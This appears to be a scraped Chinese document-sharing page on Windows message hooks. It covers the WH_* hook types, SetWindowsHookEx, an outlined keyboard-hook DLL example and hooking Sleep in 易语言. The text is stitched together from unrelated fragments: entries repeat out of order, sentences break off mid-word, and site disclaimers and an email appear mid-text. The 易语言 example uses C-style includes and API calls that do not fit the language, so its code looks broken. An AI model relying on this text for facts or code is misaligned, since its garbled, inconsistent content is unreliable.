3、WH_DEBUG(9) Hook在系统调用系统中与其他Hook关联的Hook子程之前,系统会调用WH_DEBUG Hook子程。
你可以使用这个Hook来决定是否允许系统调用与其他Hook关联的Hook子程。
4、WH_FOREGROUNDIDLE(11) Hook当应用程序的前台线程处于空闲状态时,可以使用WH_FOREGROUNDIDLE Hook执行低优先级的任务。
当应用程序的前台线程大概要变成空闲状态时,系统就会调用WH_FOREGROUNDIDLE Hook子程。
5、WH_GETMESSAGE(3) Hook应用程序使用WH_GETMESSAGE Hook来监视从GetMessage or PeekMessage函数返回的消息。
钩子函数作用
钩子函数作用
钩子函数是程序设计中一种非常重要的技术。
它是一种在程序执行特定操作时自动调用的函数,这种函数在执行完特定操作之前或之后被调用。
钩子函数的用途非常广泛,例如可用于在程序运行前进行自我检查,在特定的操作发生时进行必要的计算,甚至将不同的任务链接到一起。
使用钩子函数的好处是,代码可以在最小的侵入性下进行扩展或修改。
只需将代码添加到钩子函数中,而无需重新编写其他代码,就可以完成日常任务,而不会破坏原始代码的本质。
另外,用户也可以使用钩子函数在程序的不同阶段执行一些其他任务,比如根据日志状态在不同的任务之间协调等。
钩子函数还可以提高系统的可维护性和灵活性。
不论是系统调试、优化或扩展,都可以通过添加适当的钩子函数实现,而无需进行任何大的修改,这样就可以节省很多时间。
例如,在一定程度上消除了对原始代码的依赖,使用一个易于维护的钩子函数池可以替代好几个修改后的函数。
综上所述,钩子函数具有很多优点,它为开发人员提供了一种有效的方式来扩展程序,从而节省开发时间,提高代码可维护性和灵活性,减少应用程序中的冗余代码和错误。
作为程序设计的一个重要技术,钩子函数将允许开发人员动态改变软件的行为,有效地带来更高的生产力和更好的用户体验。
hook的使用
hook的使用(原创实用版)目录1.引言2.Hook 的定义和作用3.Hook 的基本使用方法4.Hook 的实际应用场景5.Hook 的优缺点6.结论正文【引言】在编程领域,尤其是 Web 开发中,我们常常需要捕捉一些特定的事件,以便在事件发生时执行相应的操作。
这时,我们就需要使用到一种叫做 Hook 的技术。
本文将详细介绍 Hook 的使用方法和实际应用场景。
【Hook 的定义和作用】Hook,又称钩子,是一种可以捕捉到特定事件的编程技术。
在程序运行过程中,当满足某些条件时,Hook 可以自动执行我们预先定义好的操作。
通过使用 Hook,我们可以在不修改原始代码的基础上,实现对程序行为的扩展和修改。
【Hook 的基本使用方法】要使用 Hook,一般需要遵循以下几个步骤:1.选择需要钩住的事件。
这通常涉及到对事件的监听和捕获,例如在Web 开发中,我们可以使用 JavaScript 监听页面的滚动事件、点击事件等。
2.编写钩子函数。
当所监听的事件发生时,钩子函数将被自动调用。
在这个函数中,我们可以实现自己想要的操作。
3.将钩子函数绑定到相应的事件上。
这一步通常需要使用到一些编程语言或框架提供的 API,例如在 JavaScript 中,我们可以使用`addEventListener`方法将钩子函数绑定到事件上。
【Hook 的实际应用场景】Hook 技术在实际应用中非常广泛,以下是一些常见的应用场景:1.登录/登出事件:在Web应用中,我们可以使用Hook钩住用户的登录和登出事件,以便在用户操作时执行一些必要的操作,例如记录用户的登录日志、发送验证码等。
2.页面滚动事件:在网页设计中,我们可以使用 Hook 钩住页面的滚动事件,以便实现一些动态效果,例如随着页面滚动改变背景颜色、固定导航栏等。
3.点击事件:在 Web 开发中,我们可以使用 Hook 钩住页面元素的点击事件,以便在用户点击时执行相应的操作,例如弹出提示框、跳转到其他页面等。
钩子程序应用
From: 新闻
For: 分类信息
11.2
11.2.1
11.2.2 卸载钩子
安装和卸载钩子
安装钩子
From: 新闻
For: 分类信息
11.2.1
安装钩子
调用SetWindowsHookEx()函数可以安装钩子,函数原型如下: HHOOK SetWindowsHookEx( int idHook, 确钩子类型之一 HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId 如果是全局钩子,则设置为0 );
From: 新闻
For: 分类信息
11.3
11.3.1 11.3.2
键盘钩子的例子
设计DLL项目 设计EXE项目
From: 新闻
For: 分类信息
11.3.1
设计DLL项目
From:
GetKeyNameText()函数
int GetKeyNameText( LONG lParam, //指定键盘消息的第2个参数 LPTSTR lpString, //得到的按键名字字符串缓冲区 int nSize // lpString所指定的字符串缓冲区的 长度 );
From: 新闻
For: 分类信息
全局钩子和特定线程钩子
钩子可以分为全局钩子和特定线程钩子两种,全局钩子可以监视 与调用线程位于同一桌面的所有线程的消息;而特定线程钩子则 只能监视一个单独线程的消息。 特定线程钩子的钩子过程可以在应用程序的任何位置,而全局钩 子的钩子过程则只能在DLL中定义。因为全局钩子可以拦截其他应 用程序的消息,然后调用钩子过程对拦截的消息进行处理。因为 每个进程都有自己的私有内存空间,所以一个进程不能调用其他 进程的代码,也不能访问其他进程的内存数据。这样如果在安装 钩子的进程中定义钩子过程,则其他正在运行的进程被拦截消息 后,就不能成功调用钩子过程了。 因为DLL中定义的代码可以被不同的进程调用,安装钩子的进程可 以将DLL的函数指定为钩子过程, 其他进程也可以在其消息被拦 截后,调用DLL中定义的钩子过程。
易语言挂钩sleep函数
易语言挂钩sleep函数易语言是一款使用非常广泛的高级编程语言,其简单易用、功能强大、易学易懂吸引了众多开发者的青睐。
在易语言中,有许多常用的函数供开发者使用,其中就包括了sleep函数。
本文将重点介绍易语言挂钩sleep函数的过程和实现方法,以及该方法的优缺点和应用场景。
一、sleep函数介绍在易语言中,sleep函数是一种用于让程序暂停执行一段时间的函数。
其语法格式为:Sleep(时间);其中,时间参数表示需要暂停的时间,单位为毫秒。
二、挂钩sleep函数的意义当我们使用sleep函数时,程序会暂停执行一段时间,直到时间到达后才会继续执行下一条语句。
这样的做法虽然简单易懂,但是对于一些需要进行大量计算或者网络通信的程序来说,其执行效率可能会受到很大的影响。
因此,我们可以通过挂钩sleep函数,让程序在等待的过程中可以进行一些其他的操作,提高程序的效率和响应速度。
三、挂钩sleep函数的实现方法以下是挂钩sleep函数的一般实现流程:1、利用函数集成库中的HookStart函数创建钩子;2、使用HookAPI函数将钩子函数挂接在sleep函数上;3、利用HookStop函数将钩子卸载。
具体实现过程如下:首先,在程序中引入函数集成库,代码如下:#include <EasyHook.h>在程序初始化时,调用HookStart函数创建钩子:BOOL bOk = HookStart();接着,在程序运行时,调用HookAPI函数将钩子函数与sleep函数挂接起来:EasyHookAPIHookFunction( "kernel32.dll", "Sleep", Sleep_Hook, &Sleep_Original);其中,Sleep_Hook是我们自己编写的钩子函数,Sleep_Original是原来的sleep函数,挂接后会保存在这个变量中。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
通过调用CallMsgFilter function可以直接的调用WH_MSGFILTER Hook。通过使用这个函数,应用程序能够在模式循环期间使用相同的代码去过滤消息,如同在主消息循环里一样。
易语言程序中钩子应用
每一种类型的Hook可以使应用程序能够监视不同类型的系统消息处理机制。下面描述所有可以利用的Hook类型。
1、WH_CALLWNDPROC(4)和WH_CALLWNDPROCRET Hooks(12)
WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks使你可以监视发送到窗口过程的消息。系统在消息发送到接收窗口过程之前调用WH_CALLWNDPROC Hook子程,并且在窗口过程处理完消息之后调用WH_CALLWNDPROCRET Hook子程。
9、WH_KEYBOARD_LL(13) Hook
WH_KEYBOARD_LL Hook监视输入到线程消息队列中的键盘消息。
10、WH_MOUSE(7) Hook
WH_MOUSE Hook监视从GetMessage 或者 PeekMessage 函数返回的鼠标消息。使用这个Hook监视输入到消息队列中的鼠标消息。
11、WH_MOUSE_LL(14) Hook
WH_MOUSE_LL Hook监视输入到线程消息队列中的鼠标消息。
12、WH_MSGFILTER(-1) 和 WH_SYSMSGFILTER(6) Hooks
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks使我们可以监视菜单,滚动条,消息框,对话框消息并且发现用户使用ALT+TAB or ALT+ESC 组合键切换窗口。WH_MSGFILTER Hook只能监视传递到菜单,滚动条,消息框的消息,以及传递到通过安装了Hook子程的应用程序建立的对话框的消息。WH_SYSMSGFILTER Hook监视所有应用程序消息。
2. 当Taskbar需要重画某个按钮;
3. 当系统需要显示关于Taskbar的一个程序的最小化形式;
4. 当目前的键盘布局状态改变;
5. 当使用者按Ctrl+Esc去执行Task Manager(或相同级别的程序)。
按照惯例,外壳应用程序都不接收WH_SHELL消息。所以,在应用程序能够接收WH_SHELL消息之前,应用程序必须调用SystemParametersInfo function注册它自己。
WH_JOURNALPLAYBACK Hook是全局Hook,它不能象线程特定Hook一样使用。
WH_JOURNALPLAYBACK Hook返回超时值,这个值告诉系统在处理来自回放Hook当前消息之前需要等待多长时间(毫秒)。这就使Hook可以控制实时事件的回放。
WH_JOURNALPLAYBACK是system-wide local hooks,它們不會被注射到任何行程位址空間。
7、WH_JOURNALRECORD(0) Hook
WH_JOURNALRECORD Hook用来监视和记录输入事件。典型的,可以使用这个Hook记录连续的鼠标和键盘事件,然后通过使用WH_JOURNALPLAYBACK Hook来回放。
WH_JOURNALRECORD Hook是全局Hook,它不能象线程特定Hook一样使用。
----------------
不懂的可以问我
E-m:swe888swe@
WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT结构,再传递到Hook子程。
CWPRETSTRUCT结构包含了来自处理消息的窗口过程的返回值,同样也包括了与这个消息关联的消息参数。
2、WH_CBT(5) Hook
在以下事件之前,系统都会调用WH_CBT Hook子程,这些事件包括:
1. 激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件;
2. 完成系统指令;
3. 来自系统消息队列中的移动鼠标,键盘事件;
4. 设置输入焦点事件;
5. 同步系统消息队列事件。
Hook子程的返回值确定系统是否允许或者防止这些操作中的一个。
3、WH_DEBUG(9) Hook
在系统调用系统中与其他Hook关联的Hook子程之前,系统会调用WH_DEBUG Hook子程。你可以使用这个Hook来决定是否允许系统调用与其他Hook关联的Hook子程。
13、WH_SHELL Hook(10)
外壳应用程序可以使用WH_SHELL Hook去接收重要的通知。当外壳应用程序是激活的并且当顶层窗口建立或者销毁时,系统调用WH_SHELL Hook子程。
WH_SHELL 共有5钟情況:
1. 只要有个top-level、unowned 窗口被产生、起作用、或是被摧毁;
应用程序使用WH_GETMESSAGE Hook来监视从GetMessage or PeekMessage函数返回的消息。你可以使用WH_GETMESSAGE Hook去监视鼠标和键盘输入,以及其他发送到消息队列中的消息。
6、WH_JOURNALPLAYBACK(1) Hook
WH_JOURNALPLAYBACK Hook使应用程序可以插入消息到系统消息队列。可以使用这个Hook回放通过使用WH_JOURNALRECORD Hook记录下来的连续的鼠标和键盘事件。只要WH_JOURNALPLAYBACK Hook已经安装,正常的鼠标和键盘事件就是无效的。
4、WH_FOREGROUNDIDLE(11) Hook
当应用程序的前台线程处于空闲状态时,可以使用WH_FOREGROUNDIDLE Hook执行低优先级的任务。当应用程序的前台线程大概要变成空闲状态时,系统就会调用WH_FOREGROUNDIDLE Hook子程。
5、WH_GETMESSAGE(3) Hook
WH_JOURNALRECORD是system-wide local hooks,它們不會被注射到任何行程位址空間。
8、WH_KEYBOARD(2) Hook
在应用程序中,WH_KEYBOARD Hook用来监视WM_KEYDOWN and WM_KEYUP消息,这些消息通过GetMessage or Peook来监视输入到消息队列中的键盘消息。